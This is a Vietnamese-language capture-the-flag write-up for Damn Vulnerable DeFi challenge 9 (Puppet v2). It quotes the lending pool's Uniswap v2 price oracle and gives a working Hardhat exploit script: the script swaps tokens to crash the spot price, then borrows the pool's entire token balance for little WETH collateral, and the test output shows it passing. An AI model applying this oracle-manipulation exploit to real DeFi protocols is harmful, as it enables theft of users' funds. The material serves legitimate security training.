Skip to content

Damn Vulnerable Defi writeups: 09 - Puppet v2

Posted on:March 18, 2022

Challenge #9 - Puppet v2

Nhiệm vụ: Các nhà phát triển của Puppet v1 cho biết họ đã rút ra được rất nhiều kinh nghiệm sau phiên bản lỗi đó. Và họ đã cho ra một phiên bản v2 hoàn toàn mới. Vẫn như trước, với 20 ETH và 10000 DVT token trong tay, bạn biết phải làm gì với v2 rồi đấy?

Phân tích

Bình mới, nhưng rượu vẫn cũ. Chỉ đơn giản là ta thay đổi một chút cách gọi các hàm từ v1 sang v2 mà thôi.

Ta cần biết vài điểm cơ bản khác biệt giữa v1 và v2:

Oracle để lấy giá token trong v2:

// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
    (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
        _uniswapFactory, address(_weth), address(_token)
    );
    return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}

Ta có phương án khai thác như sau:

Exploit

Chuẩn bị script khai thác, lưu ý trong uniswap v2 hàm swap sẽ khác với v1.

it("Exploit", async function () {
  /** CODE YOUR EXPLOIT HERE */
  await this.token
    .connect(attacker)
    .approve(this.uniswapRouter.address, ethers.constants.MaxUint256);

  await this.uniswapRouter.connect(attacker).swapExactTokensForETH(
    ATTACKER_INITIAL_TOKEN_BALANCE.sub(1),
    1,
    [this.token.address, this.weth.address],
    attacker.address,
    (await ethers.provider.getBlock("latest")).timestamp * 2, // deadline
    { gasLimit: 1e6 }
  );

  const collateral = await this.lendingPool.calculateDepositOfWETHRequired(
    POOL_INITIAL_TOKEN_BALANCE
  );

  await this.weth.connect(attacker).deposit({ value: collateral });
  await this.weth
    .connect(attacker)
    .approve(this.lendingPool.address, ethers.constants.MaxUint256);

  await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE);
});

Check lại kết quả

  [Challenge] Puppet v2
Exploit (129ms)


  1 passing (2s)

All done!